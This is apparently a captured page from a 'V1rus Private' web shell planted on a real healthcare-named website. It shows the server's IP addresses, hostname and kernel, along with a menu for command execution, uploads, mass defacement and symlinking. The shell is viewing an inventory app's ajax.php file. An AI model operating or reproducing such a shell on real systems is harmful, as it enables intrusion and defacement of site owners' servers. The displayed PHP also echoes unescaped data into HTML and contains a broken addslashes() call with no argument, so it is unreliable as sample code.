V1rus Private
User / IP
:
216.73.217.108
Host / Server
:
190.92.174.125 / aerosofthealthcare.com
System
:
Linux s3739.bom1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
Cmd
|
Upload
|
Mass Deface
|
Create
|
Sym
:
/
home
/
aerosoft
/
public_html
/
InventorySystem
/
Viewing: ajax.php
<?php require_once('includes/load.php'); if (!$session->isUserLoggedIn(true)) { redirect('index.php', false);} ?> <?php // Auto suggetion $html = ''; if(isset($_POST['product_name']) && strlen($_POST['product_name'])) { $products = find_product_by_title($_POST['product_name']); if($products){ foreach ($products as $product): $html .= "<li class=\"list-group-item\">"; $html .= $product['name']; $html .= "</li>"; endforeach; } else { $html .= '<li onClick=\"fill(\''.addslashes().'\')\" class=\"list-group-item\">'; $html .= 'Not found'; $html .= "</li>"; } echo json_encode($html); } ?> <?php // find all product if(isset($_POST['p_name']) && strlen($_POST['p_name'])) { $product_title = remove_junk($db->escape($_POST['p_name'])); if($results = find_all_product_info_by_title($product_title)){ foreach ($results as $result) { $html .= "<tr>"; $html .= "<td id=\"s_name\">".$result['name']."</td>"; $html .= "<input type=\"hidden\" name=\"s_id\" value=\"{$result['id']}\">"; $html .= "<td>"; $html .= "<input type=\"text\" class=\"form-control\" name=\"price\" value=\"{$result['sale_price']}\">"; $html .= "</td>"; $html .= "<td id=\"s_qty\">"; $html .= "<input type=\"text\" class=\"form-control\" name=\"quantity\" value=\"1\">"; $html .= "</td>"; $html .= "<td>"; $html .= "<input type=\"text\" class=\"form-control\" name=\"total\" value=\"{$result['sale_price']}\">"; $html .= "</td>"; $html .= "<td>"; $html .= "<input type=\"date\" class=\"form-control datePicker\" name=\"date\" data-date data-date-format=\"yyyy-mm-dd\">"; $html .= "</td>"; $html .= "<td>"; $html .= "<button type=\"submit\" name=\"add_sale\" class=\"btn btn-primary\">Add sale</button>"; $html .= "</td>"; $html .= "</tr>"; } } else { $html ='<tr><td>product name not resgister in database</td></tr>'; } echo json_encode($html); } ?>
Coded With 💗 by
HanzOFC